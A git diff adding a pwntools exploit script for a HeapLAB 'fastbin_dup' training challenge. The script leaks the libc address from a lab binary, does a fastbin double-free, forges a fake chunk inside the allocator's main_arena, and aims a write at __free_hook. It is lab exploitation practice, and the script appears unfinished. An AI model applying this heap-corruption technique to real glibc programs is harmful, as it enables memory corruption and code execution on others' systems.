1 files changed, 83 insertions, 0 deletions
diff --git a/HeapLAB/challenge-fastbin_dup/bruh.py b/HeapLAB/challenge-fastbin_dup/bruh.py
new file mode 100755
index 0000000..191cbea
--- /dev/null
+++ b/HeapLAB/challenge-fastbin_dup/bruh.py
@@ -0,0 +1,83 @@
+#!/usr/bin/python3
+from pwn import *
+
+elf = context.binary = ELF("fastbin_dup_2")
+libc = elf.libc
+
+context.terminal = ['kitty', 'bash', '-c']
+
+gs = '''
+continue
+'''
+def start():
+    if args.GDB:
+        return gdb.debug(elf.path, gdbscript=gs)
+    else:
+        return process(elf.path)
+
+# Index of allocated chunks.
+index = 0
+
+# Select the "malloc" option; send size & data.
+# Returns chunk index.
+def malloc(size, data):
+    global index
+    io.send("1")
+    io.sendafter("size: ", f"{size}")
+    io.sendafter("data: ", data)
+    io.recvuntil("> ")
+    index += 1
+    return index - 1
+
+# Select the "free" option; send index.
+def free(index):
+    io.send("2")
+    io.sendafter("index: ", f"{index}")
+    io.recvuntil("> ")
+
+io = start()
+
+# This binary leaks the address of puts(), use it to resolve the libc load address.
+io.recvuntil("puts() @ ")
+libc.address = int(io.recvline(), 16) - libc.sym.puts
+io.timeout = 0.1
+
+# =============================================================================
+
+#13 chunks
+
+chunk1 = malloc(24, 'abcd')
+chunk2 = malloc(24, 'abcc')
+
+free(chunk1)
+free(chunk2)
+free(chunk1)
+
+#malloc(24, p64(libc.sym.main_arena + 96))
+#this sets up a fake size field in the fastbins
+malloc(24, p64(0x81))
+malloc(24, 'asdf')
+malloc(24, 'asdf')
+
+chunk_b1 = malloc(119, 'asdf')
+chunk_b2 = malloc(119, 'asdf')
+
+free(chunk_b1)
+free(chunk_b2)
+free(chunk_b1)
+
+fake_chunk_loc = libc.sym.main_arena + 8 # begining of fastbin array
+
+malloc(119, p64(fake_chunk_loc))
+malloc(119, 'asdf')
+malloc(119, 'sdfg')
+
+#8 * 9
+
+malloc(119, p64(0)*9 + p64(libc.sym.__free_hook - 16))
+
+print(hex(fake_chunk_loc)) 
+
+# =============================================================================
+
+io.interactive()